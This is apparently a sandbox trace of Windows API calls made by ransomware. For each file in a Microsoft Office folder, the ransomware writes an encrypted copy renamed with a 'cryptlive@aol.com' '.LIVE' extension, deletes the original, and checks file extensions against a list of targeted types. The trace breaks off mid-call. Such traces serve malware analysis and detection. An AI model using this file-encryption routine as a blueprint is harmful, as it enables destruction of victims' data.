[0139.637] GetFileSizeEx (in: hFile=0x394, lpFileSize=0x2d8ff1c | out: lpFileSize=0x2d8ff1c*=104836) returned 1 [0139.637] CloseHandle (hObject=0x394) returned 1 [0139.637] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Discussion.gta" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\discussion.gta")) returned 0x20 [0139.842] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Discussion.gta.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\discussion.gta.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0139.988] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Discussion.gta" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\discussion.gta"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0139.989] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0139.989] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0139.989] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Discussion.gta.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\discussion.gta.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0139.990] GetLastError () returned 0x0 [0139.990] ReadFile (in: hFile=0x350, lpBuffer=0x3ab0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ab0020*, lpNumberOfBytesRead=0x2d8fed4*=0x19984, lpOverlapped=0x0) returned 1 [0139.993] WriteFile (in: hFile=0x3ac, lpBuffer=0x3ab0020*, nNumberOfBytesToWrite=0x19990, lpNumberOfBytesWritten=0x2d8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ab0020*, lpNumberOfBytesWritten=0x2d8fc9c*=0x19990, lpOverlapped=0x0) returned 1 [0139.996] ReadFile (in: hFile=0x350, lpBuffer=0x3ab0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ab0020*, lpNumberOfBytesRead=0x2d8fed4*=0x0, lpOverlapped=0x0) returned 1 [0139.996] WriteFile (in: hFile=0x3ac, lpBuffer=0x3ab0020*, nNumberOfBytesToWrite=0xf0, lpNumberOfBytesWritten=0x2d8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ab0020*, lpNumberOfBytesWritten=0x2d8fc9c*=0xf0, lpOverlapped=0x0) returned 1 [0139.996] SetEndOfFile (hFile=0x3ac) returned 1 [0139.996] CloseHandle (hObject=0x3ac) returned 1 [0139.996] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0139.997] SetEndOfFile (hFile=0x350) returned 1 [0140.002] CloseHandle (hObject=0x350) returned 1 [0140.002] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Discussion.gta.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0140.003] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Discussion.gta" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\discussion.gta")) returned 1 [0140.003] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Discussion.gta") returned 62 [0140.003] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Discussion.gta") returned 62 [0140.003] lstrlenW (lpString=".doc") returned 4 [0140.003] lstrcmpiW (lpString1=".doc", lpString2=".gta") returned -1 [0140.003] lstrlenW (lpString=".docx") returned 5 [0140.003] lstrcmpiW (lpString1=".docx", lpString2="n.gta") returned -1 [0140.003] lstrlenW (lpString=".pdf") returned 4 [0140.004] lstrcmpiW (lpString1=".pdf", lpString2=".gta") returned 1 [0140.004] lstrlenW (lpString=".xls") returned 4 [0140.004] lstrcmpiW (lpString1=".xls", lpString2=".gta") returned 1 [0140.004] lstrlenW (lpString=".xlsx") returned 5 [0140.004] lstrcmpiW (lpString1=".xlsx", lpString2="n.gta") returned -1 [0140.004] lstrlenW (lpString=".ppt") returned 4 [0140.004] lstrcmpiW (lpString1=".ppt", lpString2=".gta") returned 1 [0140.004] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Discussion.gta") returned 62 [0140.004] lstrlenW (lpString=".zip") returned 4 [0140.004] lstrcmpiW (lpString1=".zip", lpString2=".gta") returned 1 [0140.004] lstrlenW (lpString=".rar") returned 4 [0140.004] lstrcmpiW (lpString1=".rar", lpString2=".gta") returned 1 [0140.004] lstrlenW (lpString=".bz2") returned 4 [0140.004] lstrcmpiW (lpString1=".bz2", lpString2=".gta") returned -1 [0140.004] lstrlenW (lpString=".7z") returned 3 [0140.004] lstrcmpiW (lpString1=".7z", lpString2="gta") returned -1 [0140.004] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Discussion.gta") returned 62 [0140.004] lstrlenW (lpString=".dbf") returned 4 [0140.004] lstrcmpiW (lpString1=".dbf", lpString2=".gta") returned -1 [0140.004] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Discussion.gta") returned 62 [0140.004] lstrlenW (lpString=".1cd") returned 4 [0140.004] lstrcmpiW (lpString1=".1cd", lpString2=".gta") returned -1 [0140.004] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Discussion.gta") returned 62 [0140.004] lstrlenW (lpString=".jpg") returned 4 [0140.004] lstrcmpiW (lpString1=".jpg", lpString2=".gta") returned 1 [0140.004] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Discussion.gta") returned 62 [0140.004] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Discussion.gta") returned 62 [0140.004] lstrlenW (lpString=".doc") returned 4 [0140.004] lstrcmpiW (lpString1=".doc", lpString2=".gta") returned -1 [0140.004] lstrlenW (lpString=".docx") returned 5 [0140.004] lstrcmpiW (lpString1=".docx", lpString2="n.gta") returned -1 [0140.004] lstrlenW (lpString=".pdf") returned 4 [0140.004] lstrcmpiW (lpString1=".pdf", lpString2=".gta") returned 1 [0140.004] lstrlenW (lpString=".xls") returned 4 [0140.004] lstrcmpiW (lpString1=".xls", lpString2=".gta") returned 1 [0140.004] lstrlenW (lpString=".xlsx") returned 5 [0140.005] lstrcmpiW (lpString1=".xlsx", lpString2="n.gta") returned -1 [0140.005] lstrlenW (lpString=".ppt") returned 4 [0140.005] lstrcmpiW (lpString1=".ppt", lpString2=".gta") returned 1 [0140.005] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Discussion.gta") returned 62 [0140.005] lstrlenW (lpString=".zip") returned 4 [0140.005] lstrcmpiW (lpString1=".zip", lpString2=".gta") returned 1 [0140.005] lstrlenW (lpString=".rar") returned 4 [0140.005] lstrcmpiW (lpString1=".rar", lpString2=".gta") returned 1 [0140.005] lstrlenW (lpString=".bz2") returned 4 [0140.005] lstrcmpiW (lpString1=".bz2", lpString2=".gta") returned -1 [0140.005] lstrlenW (lpString=".7z") returned 3 [0140.005] lstrcmpiW (lpString1=".7z", lpString2="gta") returned -1 [0140.005] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Discussion.gta") returned 62 [0140.005] lstrlenW (lpString=".dbf") returned 4 [0140.005] lstrcmpiW (lpString1=".dbf", lpString2=".gta") returned -1 [0140.005] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Discussion.gta") returned 62 [0140.005] lstrlenW (lpString=".1cd") returned 4 [0140.005] lstrcmpiW (lpString1=".1cd", lpString2=".gta") returned -1 [0140.005] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Discussion.gta") returned 62 [0140.005] lstrlenW (lpString=".jpg") returned 4 [0140.005] lstrcmpiW (lpString1=".jpg", lpString2=".gta") returned 1 [0140.005] lstrcmpiW (lpString1=".HXC", lpString2=".LIVE") returned -1 [0140.006] lstrlenW (lpString="EXCEL.DEV_COL.HXC") returned 17 [0140.006] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.DEV_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\excel.dev_col.hxc"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0140.007] GetFileSizeEx (in: hFile=0x350, lpFileSize=0x2d8ff1c | out: lpFileSize=0x2d8ff1c*=641) returned 1 [0140.007] CloseHandle (hObject=0x350) returned 1 [0140.007] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.DEV_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\excel.dev_col.hxc")) returned 0x20 [0140.007] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.DEV_COL.HXC.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\excel.dev_col.hxc.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0140.007] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.DEV_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\excel.dev_col.hxc"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0140.007] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0140.007] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0140.007] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.DEV_COL.HXC.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\excel.dev_col.hxc.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0140.008] GetLastError () returned 0x0 [0140.008] ReadFile (in: hFile=0x350, lpBuffer=0x3ab0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ab0020*, lpNumberOfBytesRead=0x2d8fed4*=0x281, lpOverlapped=0x0) returned 1 [0140.011] WriteFile (in: hFile=0x3ac, lpBuffer=0x3ab0020*, nNumberOfBytesToWrite=0x290, lpNumberOfBytesWritten=0x2d8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ab0020*, lpNumberOfBytesWritten=0x2d8fc9c*=0x290, lpOverlapped=0x0) returned 1 [0140.012] ReadFile (in: hFile=0x350, lpBuffer=0x3ab0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ab0020*, lpNumberOfBytesRead=0x2d8fed4*=0x0, lpOverlapped=0x0) returned 1 [0140.012] WriteFile (in: hFile=0x3ac, lpBuffer=0x3ab0020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x2d8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ab0020*, lpNumberOfBytesWritten=0x2d8fc9c*=0xf6, lpOverlapped=0x0) returned 1 [0140.012] SetEndOfFile (hFile=0x3ac) returned 1 [0140.013] CloseHandle (hObject=0x3ac) returned 1 [0140.013] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0140.013] SetEndOfFile (hFile=0x350) returned 1 [0140.015] CloseHandle (hObject=0x350) returned 1 [0140.015] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.DEV_COL.HXC.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0140.015] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.DEV_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\excel.dev_col.hxc")) returned 1 [0140.016] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.DEV_COL.HXC") returned 65 [0140.016] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.DEV_COL.HXC") returned 65 [0140.016] lstrlenW (lpString=".doc") returned 4 [0140.016] lstrcmpiW (lpString1=".doc", lpString2=".HXC") returned -1 [0140.016] lstrlenW (lpString=".docx") returned 5 [0140.016] lstrcmpiW (lpString1=".docx", lpString2="L.HXC") returned -1 [0140.016] lstrlenW (lpString=".pdf") returned 4 [0140.016] lstrcmpiW (lpString1=".pdf", lpString2=".HXC") returned 1 [0140.016] lstrlenW (lpString=".xls") returned 4 [0140.016] lstrcmpiW (lpString1=".xls", lpString2=".HXC") returned 1 [0140.016] lstrlenW (lpString=".xlsx") returned 5 [0140.016] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXC") returned -1 [0140.016] lstrlenW (lpString=".ppt") returned 4 [0140.016] lstrcmpiW (lpString1=".ppt", lpString2=".HXC") returned 1 [0140.016] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.DEV_COL.HXC") returned 65 [0140.016] lstrlenW (lpString=".zip") returned 4 [0140.016] lstrcmpiW (lpString1=".zip", lpString2=".HXC") returned 1 [0140.016] lstrlenW (lpString=".rar") returned 4 [0140.016] lstrcmpiW (lpString1=".rar", lpString2=".HXC") returned 1 [0140.016] lstrlenW (lpString=".bz2") returned 4 [0140.016] lstrcmpiW (lpString1=".bz2", lpString2=".HXC") returned -1 [0140.016] lstrlenW (lpString=".7z") returned 3 [0140.016] lstrcmpiW (lpString1=".7z", lpString2="HXC") returned -1 [0140.016] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.DEV_COL.HXC") returned 65 [0140.016] lstrlenW (lpString=".dbf") returned 4 [0140.016] lstrcmpiW (lpString1=".dbf", lpString2=".HXC") returned -1 [0140.016] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.DEV_COL.HXC") returned 65 [0140.017] lstrlenW (lpString=".1cd") returned 4 [0140.017] lstrcmpiW (lpString1=".1cd", lpString2=".HXC") returned -1 [0140.017] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.DEV_COL.HXC") returned 65 [0140.017] lstrlenW (lpString=".jpg") returned 4 [0140.017] lstrcmpiW (lpString1=".jpg", lpString2=".HXC") returned 1 [0140.017] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.DEV_COL.HXC") returned 65 [0140.017] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.DEV_COL.HXC") returned 65 [0140.017] lstrlenW (lpString=".doc") returned 4 [0140.017] lstrcmpiW (lpString1=".doc", lpString2=".HXC") returned -1 [0140.017] lstrlenW (lpString=".docx") returned 5 [0140.017] lstrcmpiW (lpString1=".docx", lpString2="L.HXC") returned -1 [0140.017] lstrlenW (lpString=".pdf") returned 4 [0140.017] lstrcmpiW (lpString1=".pdf", lpString2=".HXC") returned 1 [0140.017] lstrlenW (lpString=".xls") returned 4 [0140.017] lstrcmpiW (lpString1=".xls", lpString2=".HXC") returned 1 [0140.017] lstrlenW (lpString=".xlsx") returned 5 [0140.017] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXC") returned -1 [0140.017] lstrlenW (lpString=".ppt") returned 4 [0140.017] lstrcmpiW (lpString1=".ppt", lpString2=".HXC") returned 1 [0140.017] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.DEV_COL.HXC") returned 65 [0140.017] lstrlenW (lpString=".zip") returned 4 [0140.017] lstrcmpiW (lpString1=".zip", lpString2=".HXC") returned 1 [0140.017] lstrlenW (lpString=".rar") returned 4 [0140.017] lstrcmpiW (lpString1=".rar", lpString2=".HXC") returned 1 [0140.017] lstrlenW (lpString=".bz2") returned 4 [0140.017] lstrcmpiW (lpString1=".bz2", lpString2=".HXC") returned -1 [0140.017] lstrlenW (lpString=".7z") returned 3 [0140.017] lstrcmpiW (lpString1=".7z", lpString2="HXC") returned -1 [0140.017] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.DEV_COL.HXC") returned 65 [0140.017] lstrlenW (lpString=".dbf") returned 4 [0140.017] lstrcmpiW (lpString1=".dbf", lpString2=".HXC") returned -1 [0140.017] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.DEV_COL.HXC") returned 65 [0140.017] lstrlenW (lpString=".1cd") returned 4 [0140.017] lstrcmpiW (lpString1=".1cd", lpString2=".HXC") returned -1 [0140.017] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.DEV_COL.HXC") returned 65 [0140.017] lstrlenW (lpString=".jpg") returned 4 [0140.018] lstrcmpiW (lpString1=".jpg", lpString2=".HXC") returned 1 [0140.018] lstrcmpiW (lpString1=".HXT", lpString2=".LIVE") returned -1 [0140.018] lstrlenW (lpString="EXCEL.DEV_COL.HXT") returned 17 [0140.018] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.DEV_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\excel.dev_col.hxt"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0140.018] GetFileSizeEx (in: hFile=0x350, lpFileSize=0x2d8ff1c | out: lpFileSize=0x2d8ff1c*=209) returned 1 [0140.018] CloseHandle (hObject=0x350) returned 1 [0140.018] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.DEV_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\excel.dev_col.hxt")) returned 0x20 [0140.018] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.DEV_COL.HXT.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\excel.dev_col.hxt.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0140.019] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.DEV_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\excel.dev_col.hxt"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0140.019] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0140.019] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0140.019] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.DEV_COL.HXT.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\excel.dev_col.hxt.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0140.019] GetLastError () returned 0x0 [0140.019] ReadFile (in: hFile=0x350, lpBuffer=0x3ab0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ab0020*, lpNumberOfBytesRead=0x2d8fed4*=0xd1, lpOverlapped=0x0) returned 1 [0140.020] WriteFile (in: hFile=0x3ac, lpBuffer=0x3ab0020*, nNumberOfBytesToWrite=0xe0, lpNumberOfBytesWritten=0x2d8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ab0020*, lpNumberOfBytesWritten=0x2d8fc9c*=0xe0, lpOverlapped=0x0) returned 1 [0140.021] ReadFile (in: hFile=0x350, lpBuffer=0x3ab0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ab0020*, lpNumberOfBytesRead=0x2d8fed4*=0x0, lpOverlapped=0x0) returned 1 [0140.021] WriteFile (in: hFile=0x3ac, lpBuffer=0x3ab0020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x2d8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ab0020*, lpNumberOfBytesWritten=0x2d8fc9c*=0xf6, lpOverlapped=0x0) returned 1 [0140.021] SetEndOfFile (hFile=0x3ac) returned 1 [0140.021] CloseHandle (hObject=0x3ac) returned 1 [0140.022] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0140.022] SetEndOfFile (hFile=0x350) returned 1 [0140.024] CloseHandle (hObject=0x350) returned 1 [0140.024] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.DEV_COL.HXT.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0140.025] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.DEV_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\excel.dev_col.hxt")) returned 1 [0140.025] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.DEV_COL.HXT") returned 65 [0140.025] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.DEV_COL.HXT") returned 65 [0140.025] lstrlenW (lpString=".doc") returned 4 [0140.025] lstrcmpiW (lpString1=".doc", lpString2=".HXT") returned -1 [0140.025] lstrlenW (lpString=".docx") returned 5 [0140.025] lstrcmpiW (lpString1=".docx", lpString2="L.HXT") returned -1 [0140.025] lstrlenW (lpString=".pdf") returned 4 [0140.025] lstrcmpiW (lpString1=".pdf", lpString2=".HXT") returned 1 [0140.025] lstrlenW (lpString=".xls") returned 4 [0140.025] lstrcmpiW (lpString1=".xls", lpString2=".HXT") returned 1 [0140.025] lstrlenW (lpString=".xlsx") returned 5 [0140.025] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXT") returned -1 [0140.025] lstrlenW (lpString=".ppt") returned 4 [0140.025] lstrcmpiW (lpString1=".ppt", lpString2=".HXT") returned 1 [0140.025] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.DEV_COL.HXT") returned 65 [0140.025] lstrlenW (lpString=".zip") returned 4 [0140.025] lstrcmpiW (lpString1=".zip", lpString2=".HXT") returned 1 [0140.025] lstrlenW (lpString=".rar") returned 4 [0140.025] lstrcmpiW (lpString1=".rar", lpString2=".HXT") returned 1 [0140.025] lstrlenW (lpString=".bz2") returned 4 [0140.026] lstrcmpiW (lpString1=".bz2", lpString2=".HXT") returned -1 [0140.026] lstrlenW (lpString=".7z") returned 3 [0140.026] lstrcmpiW (lpString1=".7z", lpString2="HXT") returned -1 [0140.026] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.DEV_COL.HXT") returned 65 [0140.026] lstrlenW (lpString=".dbf") returned 4 [0140.026] lstrcmpiW (lpString1=".dbf", lpString2=".HXT") returned -1 [0140.026] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.DEV_COL.HXT") returned 65 [0140.026] lstrlenW (lpString=".1cd") returned 4 [0140.026] lstrcmpiW (lpString1=".1cd", lpString2=".HXT") returned -1 [0140.026] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.DEV_COL.HXT") returned 65 [0140.026] lstrlenW (lpString=".jpg") returned 4 [0140.026] lstrcmpiW (lpString1=".jpg", lpString2=".HXT") returned 1 [0140.026] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.DEV_COL.HXT") returned 65 [0140.026] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.DEV_COL.HXT") returned 65 [0140.026] lstrlenW (lpString=".doc") returned 4 [0140.026] lstrcmpiW (lpString1=".doc", lpString2=".HXT") returned -1 [0140.026] lstrlenW (lpString=".docx") returned 5 [0140.026] lstrcmpiW (lpString1=".docx", lpString2="L.HXT") returned -1 [0140.026] lstrlenW (lpString=".pdf") returned 4 [0140.026] lstrcmpiW (lpString1=".pdf", lpString2=".HXT") returned 1 [0140.026] lstrlenW (lpString=".xls") returned 4 [0140.026] lstrcmpiW (lpString1=".xls", lpString2=".HXT") returned 1 [0140.026] lstrlenW (lpString=".xlsx") returned 5 [0140.026] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXT") returned -1 [0140.026] lstrlenW (lpString=".ppt") returned 4 [0140.026] lstrcmpiW (lpString1=".ppt", lpString2=".HXT") returned 1 [0140.026] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.DEV_COL.HXT") returned 65 [0140.026] lstrlenW (lpString=".zip") returned 4 [0140.026] lstrcmpiW (lpString1=".zip", lpString2=".HXT") returned 1 [0140.026] lstrlenW (lpString=".rar") returned 4 [0140.026] lstrcmpiW (lpString1=".rar", lpString2=".HXT") returned 1 [0140.026] lstrlenW (lpString=".bz2") returned 4 [0140.026] lstrcmpiW (lpString1=".bz2", lpString2=".HXT") returned -1 [0140.026] lstrlenW (lpString=".7z") returned 3 [0140.026] lstrcmpiW (lpString1=".7z", lpString2="HXT") returned -1 [0140.026] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.DEV_COL.HXT") returned 65 [0140.027] lstrlenW (lpString=".dbf") returned 4 [0140.027] lstrcmpiW (lpString1=".dbf", lpString2=".HXT") returned -1 [0140.027] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.DEV_COL.HXT") returned 65 [0140.027] lstrlenW (lpString=".1cd") returned 4 [0140.027] lstrcmpiW (lpString1=".1cd", lpString2=".HXT") returned -1 [0140.027] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.DEV_COL.HXT") returned 65 [0140.027] lstrlenW (lpString=".jpg") returned 4 [0140.027] lstrcmpiW (lpString1=".jpg", lpString2=".HXT") returned 1 [0140.027] lstrcmpiW (lpString1=".HXK", lpString2=".LIVE") returned -1 [0140.027] lstrlenW (lpString="EXCEL.DEV_F_COL.HXK") returned 19 [0140.027] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.DEV_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\excel.dev_f_col.hxk"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0140.027] GetFileSizeEx (in: hFile=0x350, lpFileSize=0x2d8ff1c | out: lpFileSize=0x2d8ff1c*=114) returned 1 [0140.027] CloseHandle (hObject=0x350) returned 1 [0140.027] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.DEV_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\excel.dev_f_col.hxk")) returned 0x20 [0140.028] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.DEV_F_COL.HXK.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\excel.dev_f_col.hxk.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0140.028] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.DEV_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\excel.dev_f_col.hxk"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, 